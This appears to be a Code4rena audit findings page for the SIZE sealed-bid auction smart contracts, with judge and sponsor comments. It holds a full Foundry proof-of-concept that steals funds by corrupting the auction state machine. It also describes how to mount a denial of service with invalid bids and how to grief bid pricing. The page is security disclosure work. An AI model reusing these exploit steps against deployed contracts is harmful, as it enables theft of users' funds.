Platform: Code4rena
Start Date: 04/11/2022
Pot Size: $42,500 USDC
Total HM: 9
Participants: 88
Period: 4 days
Judge: 0xean
Total Solo HM: 2
Id: 180
League: ETH
Rank: 14/88
Findings: 4
Award: $259.15
🌟 Selected for report: 2
🚀 Solo Findings: 0
199.0346 USDC - $199.03
https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L33 https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L238
HIGH: Attacker can steal any funds in the contract by state confusion (no preconditions) LOC: https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L33 https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L238
Auctions in SIZE can be in one of several states, as checked in the atState() modifier:
modifier atState(Auction storage a, States _state) { if (block.timestamp < a.timings.startTimestamp) { if (_state != States.Created) revert InvalidState(); } else if (block.timestamp < a.timings.endTimestamp) { if (_state != States.AcceptingBids) revert InvalidState(); } else if (a.data.lowestQuote != type(uint128).max) { if (_state != States.Finalized) revert InvalidState(); } else if (block.timestamp <= a.timings.endTimestamp + 24 hours) { if (_state != States.RevealPeriod) revert InvalidState(); } else if (block.timestamp > a.timings.endTimestamp + 24 hours) { if (_state != States.Voided) revert InvalidState(); } else { revert(); } _; }
It's important to note that if current block timestamp is greater than endTimestamp, a.data.lowestQuote
is used to determine if finalize() was called.
The value is set to max at createAuction. In finalize, it is set again, using user-controlled input:
// Last filled bid is the clearing price a.data.lowestBase = clearingBase; a.data.lowestQuote = clearingQuote;
The issue is that it is possible to break the state machine by calling finalize() and setting lowestQuote to type(uint128).max
. If the other parameters are crafted correctly, finalize() will succeed and perform transfers of unsold base amount and traded quote amount:
// Transfer the left over baseToken if (data.totalBaseAmount != data.filledBase) { uint128 unsoldBase = data.totalBaseAmount - data.filledBase; a.params.totalBaseAmount = data.filledBase; SafeTransferLib.safeTransfer(ERC20(a.params.baseToken), a.data.seller, unsoldBase); } // Calculate quote amount based on clearing price uint256 filledQuote = FixedPointMathLib.mulDivDown(clearingQuote, data.filledBase, clearingBase); SafeTransferLib.safeTransfer(ERC20(a.params.quoteToken), a.data.seller, filledQuote);
Critically, attacker will later be able to call cancelAuction() and cancelBid(), as they are allowed as long as the auction has not finalized:
function cancelAuction(uint256 auctionId) external { Auction storage a = idToAuction[auctionId]; if (msg.sender != a.data.seller) { revert UnauthorizedCaller(); } // Only allow cancellations before finalization // Equivalent to atState(idToAuction[auctionId], ~STATE_FINALIZED) if (a.data.lowestQuote != type(uint128).max) { revert InvalidState(); } // Allowing bidders to cancel bids (withdraw quote) // Auction considered forever States.AcceptingBids but nobody can finalize a.data.seller = address(0); a.timings.endTimestamp = type(uint32).max; emit AuctionCancelled(auctionId); SafeTransferLib.safeTransfer(ERC20(a.params.baseToken), msg.sender, a.params.totalBaseAmount); } function cancelBid(uint256 auctionId, uint256 bidIndex) external { Auction storage a = idToAuction[auctionId]; EncryptedBid storage b = a.bids[bidIndex]; if (msg.sender != b.sender) { revert UnauthorizedCaller(); } // Only allow bid cancellations while not finalized or in the reveal period if (block.timestamp >= a.timings.endTimestamp) { if (a.data.lowestQuote != type(uint128).max || block.timestamp <= a.timings.endTimestamp + 24 hours) { revert InvalidState(); } } // Prevent any futher access to this EncryptedBid b.sender = address(0); // Prevent seller from finalizing a cancelled bid b.commitment = 0; emit BidCancelled(auctionId, bidIndex); SafeTransferLib.safeTransfer(ERC20(a.params.quoteToken), msg.sender, b.quoteAmount); }
The attack will look as follows:
type(uint32).max
Note that the values of minimumBidQuote
, reserveQuotePerbase
must be carefully chosen to satisfy all the inequality requirements in createAuction(), bid() and finalize(). This is why merely spotting that lowestQuote may be set to max in finalize is not enough and in my opinion, POC-ing the entire flow is necessary for a valid finding.
This was the main constraint to bypass:
uint256 quotePerBase = FixedPointMathLib.mulDivDown(b.quoteAmount, type(uint128).max, baseAmount); ... data.previousQuotePerBase = quotePerBase; ... if (data.previousQuotePerBase != FixedPointMathLib.mulDivDown(clearingQuote, type(uint128).max, clearingBase)) { revert InvalidCalldata(); }
Since clearingQuote must equal UINT128_MAX, we must satisfy: (2**128-1) * (2**128-1) / clearingBase = quoteAmount * (2**128-1) / baseAmount. The solution I found was setting clearingBase to (2**128-1) and quoteAmount = baseAmount.
We also have constraints on reserveQuotePerBase. In createAuction:
if ( FixedPointMathLib.mulDivDown( auctionParams.minimumBidQuote, type(uint128).max, auctionParams.totalBaseAmount ) > auctionParams.reserveQuotePerBase ) { revert InvalidReserve(); }
While in finalize():
// Only fill if above reserve price if (quotePerBase < data.reserveQuotePerBase) continue;
And an important constraint on quoteAmount and minimumBidQuote:
if (quoteAmount == 0 || quoteAmount == type(uint128).max || quoteAmount < a.params.minimumBidQuote) { revert InvalidBidAmount(); }
Merging them gives us two equations to substitute variables in:
minimumBidQuote / totalBaseAmount < reserveQuotePerBase <= UINT128_MAX / clearingBase
quoteAmount > minimumBidQuote
In the POC I've crafted parameters to steal 2**30 quote tokens, around 1000 in USDC denomination. With the above equations, increasing or decreasing the stolen amount is simple.
An attacker can steal all tokens held in the SIZE auction contract.
Copy the following code in SizeSealed.t.sol
function testAttack() public { quoteToken = new MockERC20("USD Coin", "USDC", 6); baseToken = new MockERC20("DAI stablecoin ", "DAI", 18); // Bootstrap auction contract with some funds baseToken.mint(address(auction), 1e20); quoteToken.mint(address(auction), 1e12); // Create attacker MockSeller attacker_seller = new MockSeller(address(auction), quoteToken, baseToken); MockBuyer attacker_buyer = new MockBuyer(address(auction), quoteToken, baseToken); // Print attacker balances uint256 balance_quote; uint256 balance_base; (balance_quote, balance_base) = attacker_seller.balances(); console.log("Starting seller balance: ", balance_quote, balance_base); (balance_quote, balance_base) = attacker_buyer.balances(); console.log('Starting buyer balance: ', balance_quote, balance_base); // Create auction uint256 auction_id = attacker_seller.createAuction( 2**32, // totalBaseAmount 2**120, // reserveQuotePerBase 2**20, // minimumBidQuote uint32(block.timestamp), // startTimestamp uint32(block.timestamp + 1), // endTimestamp uint32(block.timestamp + 1), // vestingStartTimestamp uint32(block.timestamp + 1), // vestingEndTimestamp 0 // cliffPercent ); // Bid on auction attacker_buyer.setAuctionId(auction_id); attacker_buyer.bidOnAuction( 2**30, // baseAmount 2**30 // quoteAmount ); // Finalize with clearingQuote = clearingBase = 2**128-1 // Will transfer unsold base amount + matched quote amount uint256[] memory bidIndices = new uint[](1); bidIndices[0] = 0; vm.warp(block.timestamp + 10); attacker_seller.finalize(bidIndices, 2**128-1, 2**128-1); // Cancel auction // Will transfer back sold base amount attacker_seller.cancelAuction(); // Cancel bid // Will transfer back to buyer quoteAmount attacker_buyer.cancel(); // Net profit of quoteAmount tokens of quoteToken (balance_quote, balance_base) = attacker_seller.balances(); console.log("End seller balance: ", balance_quote, balance_base); (balance_quote, balance_base) = attacker_buyer.balances(); console.log('End buyer balance: ', balance_quote, balance_base); }
Manual audit, foundry tests
Do not trust the value of lowestQuote
when determining the finalize state, use a dedicated state variable for it.
#0 - c4-judge
2022-11-09T14:54:15Z
0xean marked the issue as primary issue
#1 - c4-sponsor
2022-11-16T00:08:31Z
RagePit marked the issue as sponsor confirmed
#2 - c4-judge
2022-11-24T13:48:25Z
0xean marked the issue as selected for report
#3 - c4-judge
2022-11-28T22:27:24Z
0xean marked the issue as satisfactory
#4 - sath26
2023-09-11T13:07:54Z
how to use a dedicated state variable for it.??
🌟 Selected for report: neko_nyaa
Also found by: 0x52, 0xSmartContract, 0xc0ffEE, Josiah, KingNFT, Lambda, R2, RaymondFam, Ruhum, TomJ, Trust, TwelveSec, __141345__, c7e7eff, cccz, cryptostellar5, fs0c, hansfriese, horsefacts, ladboy233, minhtrng, pashov, rvierdiiev, sashik_eth, tonisives, wagmi
8.5414 USDC - $8.54
https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L103-L104 https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L163
SIZE auctions do not support fee-on-transfer tokens. The platform rejects taxed baseToken during createAuction:
// Passes https://github.com/transmissions11/solmate/blob/main/src/utils/SafeTransferLib.sol#L9 // Transfer base tokens to auction contract and check for tax tokens uint256 balanceBeforeTransfer = ERC20(auctionParams.baseToken).balanceOf(address(this)); SafeTransferLib.safeTransferFrom( ERC20(auctionParams.baseToken), msg.sender, address(this), auctionParams.totalBaseAmount ); uint256 balanceAfterTransfer = ERC20(auctionParams.baseToken).balanceOf(address(this)); if (balanceAfterTransfer - balanceBeforeTransfer != auctionParams.totalBaseAmount) { revert UnexpectedBalanceChange(); }
The issue is that this check is not implemented for quoteToken:
SafeTransferLib.safeTransferFrom(ERC20(a.params.quoteToken), msg.sender, address(this), quoteAmount); emit Bid( msg.sender, auctionId, bidIndex, quoteAmount, commitment, pubKey, encryptedMessage, encryptedPrivateKey );
bid() will succeed in sending quoteAmount of quoteToken. Therefore, any amount of quoteToken sent to the contract may be permanently stuck, as the rest of the contract functionality does not support fee tokens.
For example, cancelBid:
function cancelBid(uint256 auctionId, uint256 bidIndex) external { Auction storage a = idToAuction[auctionId]; EncryptedBid storage b = a.bids[bidIndex]; ... emit BidCancelled(auctionId, bidIndex); SafeTransferLib.safeTransfer(ERC20(a.params.quoteToken), msg.sender, b.quoteAmount); }
It will attempt to transfer entire quoteAmount, which will deterministically fail because there is no "quoteAmount" available to be sent (unless it will use other user's funds which is also high severity issue).
The finalize() flow will fail similarly by assuming there is enough quoteTokens to be sent.
Note that users are not warned that the contract does not support fee-on-transfer tokens, the design is to not allow it in the first place, which would be fine if done right.
Any use of fee-on-transfer tokens as quote tokens in auctions will result in freeze or loss of funds for users.
Manual audit
Two possible mitigations:
#0 - c4-judge
2022-11-09T15:45:23Z
0xean marked the issue as primary issue
#1 - 0xean
2022-11-09T15:46:49Z
debating between M and H on this one. Currently leaning towards H since there is a direct loss of funds and no documentation stating these types of tokens aren't supported (nor checks to disable them).
#2 - 0xean
2022-11-09T15:49:15Z
using this issue to gather all of the various manifestations of "special" ERC20 tokens not being supported. While rebasing tokens would need to be handled differently than fee on transfer, the underlying issue is close enough to not separate them all out
#3 - c4-sponsor
2022-11-21T00:25:50Z
RagePit marked the issue as sponsor confirmed
#4 - c4-judge
2022-11-24T13:36:02Z
0xean marked the issue as selected for report
#5 - c4-judge
2022-11-28T22:27:23Z
0xean marked the issue as satisfactory
#6 - c4-judge
2022-12-02T14:04:25Z
0xean marked the issue as not selected for report
#7 - 0xean
2022-12-02T14:26:55Z
Thought about this one more and look back at some similar past findings from myself and other judges and feel that M is the correct severity here.
https://github.com/code-423n4/org/issues/3 for a conversation on the topic.
#8 - c4-judge
2022-12-02T14:27:13Z
0xean changed the severity to 2 (Med Risk)
#9 - C4-Staff
2023-06-26T19:02:52Z
captainmangoC4 marked issue #47 as primary and marked this issue as a duplicate of 47
🌟 Selected for report: Trust
Also found by: 0x1f8b, 0xdapper, HE1M, KIntern_NA, Lambda, Picodes, RaymondFam, RedOneN, TomJ, V_B, __141345__, c7e7eff, chaduke, codexploder, corerouter, cryptonue, fs0c, gz627, hihen, joestakey, ktg, ladboy233, minhtrng, rvierdiiev, simon135, skyle, slowmoses, wagmi, yixxas
7.2852 USDC - $7.29
https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L258-L263 https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L157-L159 https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L269-L280
Buyers submit bids to SIZE using the bid() function. There's a max of 1000 bids allowed per auction in order to stop DOS attacks (Otherwise it could become too costly to execute the finalize loop). However, setting a max on number of bids opens up other DOS attacks.
In the finalize loop this code is used:
ECCMath.Point memory sharedPoint = ECCMath.ecMul(b.pubKey, sellerPriv); // If the bidder public key isn't on the bn128 curve if (sharedPoint.x == 1 && sharedPoint.y == 1) continue; bytes32 decryptedMessage = ECCMath.decryptMessage(sharedPoint, b.encryptedMessage); // If the bidder didn't faithfully submit commitment or pubkey // Or the bid was cancelled if (computeCommitment(decryptedMessage) != b.commitment) continue;
Note that pubKey is never validated. Therefore, attacker may pass pubKey = (0,0).
In ecMul, the code will return (1,1):
if (scalar == 0 || (point.x == 0 && point.y == 0)) return Point(1, 1);
As a result, we enter the continue block and the bid is ignored. Later, the bidder may receive their quote amount back using refund().
Another way to reach continue
is by passing a 0 commitment.
One last way to force the auction to reject a bid is a low quotePerBase:
uint256 quotePerBase = FixedPointMathLib.mulDivDown(b.quoteAmount, type(uint128).max, baseAmount); // Only fill if above reserve price if (quotePerBase < data.reserveQuotePerBase) continue;
baseAmount is not validated as it is encrypted to seller's public key. Therefore, buyer may pass baseAmount = 0, making quotePerBase = 0.
So, attacker may submit 1000 invalid bids and completely DOS the auction.
Attacker may DOS auctions using invalid bid parameters.
Manual audit
Implement a slashing mechanism. If the bid cannot be executed due to user's fault, some % their submitted quote tokens will go to the protocol and auction creator.
#0 - 0xean
2022-11-09T14:47:33Z
leaving open for sponsor review, issue is somewhat similar to the baseAmount 0 revert, but is unique enough to stand alone.
#1 - c4-judge
2022-11-09T15:34:25Z
0xean marked the issue as duplicate
#2 - c4-judge
2022-11-24T13:45:55Z
0xean marked the issue as selected for report
#3 - c4-judge
2022-11-28T22:24:55Z
0xean marked the issue as satisfactory
#4 - RagePit
2022-11-29T20:53:56Z
While possibly an issue in extreme cases, we implemented the minimumBidQuote
for this reason. As anyone looking to DOS this way would have to lockup minimumBidQuote*1000
tokens for the duration of the auction
#5 - RagePit
2022-11-29T20:56:29Z
Seperate from the unintended #64 issue where the DOS would require no funds locked
#6 - C4-Staff
2023-06-26T19:03:18Z
captainmangoC4 marked the issue as selected for report
🌟 Selected for report: 0x1f8b
Also found by: 0xSmartContract, 0xc0ffEE, Aymen0909, B2, Deivitto, Josiah, KingNFT, Rahoz, RaymondFam, RedOneN, ReyAdmirado, Trust, ajtra, aviggiano, brgltd, c7e7eff, cryptonue, ctf_sec, delfin454000, djxploit, lukris02, peanuts, rvierdiiev, shark, simon135, slowmoses, tnevler, trustindistrust
44.2869 USDC - $44.29
In SIZE, the quote to base ratio is determined by selecting the lowest ratio that is used to fill an auction. This is an issue because it allows attackers to easily grief sellers by inserting a bid that is over the minimum bid, but much lower than 99% of existing bids. This will cause a nonlinear drop in the applied ratio for ALL trades executed.
Another way this may be abused is by a buyer, who suspects that an auction that is about to close has a big drop before the last filled bid, or it is still to be filled completely. They can simply send a bid with min amount and min ratio, to make all the executions trade at the low ratio.
Note that both the griefing attack and the price-lowering attack are basically risk free - if they are not included in the filled order, attacker may simply call refund() to claim their quote tokens back.
Seller suffers a severe underpricing of the sold base tokens.
Consider the following scenario:
Manual audit
In finalize() called by reveal(), seller should be able to choose a desired number of indexes to execute the trade with. Therefore, they can bypass a single "rotten" bid and interact with the rest of them. This is not unfair to the other bidders since they are still receiving the best price that is accepted by seller.
#0 - c4-sponsor
2022-11-16T01:52:59Z
RagePit marked the issue as sponsor disputed
#1 - RagePit
2022-11-16T01:56:23Z
This is just how a uniform-price (clearing price) auction works and is expected behavior
#2 - 0xean
2022-11-24T13:23:33Z
@RagePit - that may be true, but the ability for a bidder to bid from multiple addresses makes this probably more easily exploitable than in some auction systems where that isn't an option.
however, the seller sets a min bid, so therefore has some control to mitigate the issue if they believe a price to be unfair for their offering. Based on this I think QA is more appropriate.
#3 - c4-judge
2022-11-24T13:24:09Z
0xean changed the severity to QA (Quality Assurance)
#4 - c4-judge
2022-11-24T13:24:40Z
0xean marked the issue as grade-b